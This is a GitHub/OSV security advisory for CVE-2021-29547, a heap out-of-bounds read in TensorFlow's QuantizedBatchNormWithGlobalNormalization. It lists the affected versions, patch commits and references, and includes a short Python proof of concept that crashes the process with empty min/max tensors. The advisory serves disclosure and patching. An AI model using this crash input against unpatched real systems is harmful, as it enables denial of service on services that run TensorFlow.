{
  "schema_version": "1.4.0",
  "id": "GHSA-4fg4-p75j-w5xj",
  "modified": "2024-10-31T20:42:12Z",
  "published": "2021-05-21T14:23:31Z",
  "aliases": [
    "CVE-2021-29547"
  ],
  "summary": "Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization`",
  "details": "### Impact\nAn attacker can cause a segfault and denial of service via accessing data outside of bounds in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:\n\n```python\nimport tensorflow as tf\n\nt = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8)\nt_min = tf.constant([], shape=[0], dtype=tf.float32)\nt_max = tf.constant([], shape=[0], dtype=tf.float32)\nm = tf.constant([1], shape=[1], dtype=tf.quint8)\nm_min = tf.constant([], shape=[0], dtype=tf.float32)\nm_max = tf.constant([], shape=[0], dtype=tf.float32)\nv = tf.constant([1], shape=[1], dtype=tf.quint8)\nv_min = tf.constant([], shape=[0], dtype=tf.float32)\nv_max = tf.constant([], shape=[0], dtype=tf.float32)\nbeta = tf.constant([1], shape=[1], dtype=tf.quint8)\nbeta_min = tf.constant([], shape=[0], dtype=tf.float32)\nbeta_max = tf.constant([], shape=[0], dtype=tf.float32)\ngamma = tf.constant([1], shape=[1], dtype=tf.quint8)\ngamma_min = tf.constant([], shape=[0], dtype=tf.float32)\ngamma_max = tf.constant([], shape=[0], dtype=tf.float32) \n\ntf.raw_ops.QuantizedBatchNormWithGlobalNormalization(\n  t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,\n  v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,\n  beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,\n  gamma_max=gamma_max, out_type=tf.qint32,\n  variance_epsilon=0.1, scale_after_normalization=True)\n```                         \n                            \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc#L176-L189) assumes the inputs are not empty: \n  \n```cc\nconst float input_min = context->input(1).flat<float>()(0);\nconst float input_max = context->input(2).flat<float>()(0);\n...\nconst float mean_min = context->input(4).flat<float>()(0);\nconst float mean_max = context->input(5).flat<float>()(0);\n...\nconst float var_min = context->input(7).flat<float>()(0);\nconst float var_max = context->input(8).flat<float>()(0);\n...\nconst float beta_min = context->input(10).flat<float>()(0);\nconst float beta_max = context->input(11).flat<float>()(0);\n...\nconst float gamma_min = context->input(13).flat<float>()(0);\nconst float gamma_max = context->input(14).flat<float>()(0);\n```\n\nIf any of these inputs is empty, `.flat<T>()` is an empty buffer, so accessing the element at index 0 is accessing data outside of bounds.\n\n### Patches\nWe have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L"
    },
    {
      "type": "CVSS_V4",
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
    }
  ],
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.4"
            }
          ]
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ]
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
            }
          ]
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ]
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.4"
            }
          ]
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ]
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
            }
          ]
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ]
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.4"
            }
          ]
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ]
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
            }
          ]
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ]
        }
      ]
    }
  ],
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4fg4-p75j-w5xj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29547"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-475.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-673.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-184.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
    }
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125"
    ],
    "severity": "LOW",
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-18T21:42:27Z",
    "nvd_published_at": "2021-05-14T20:15:00Z"
  }
}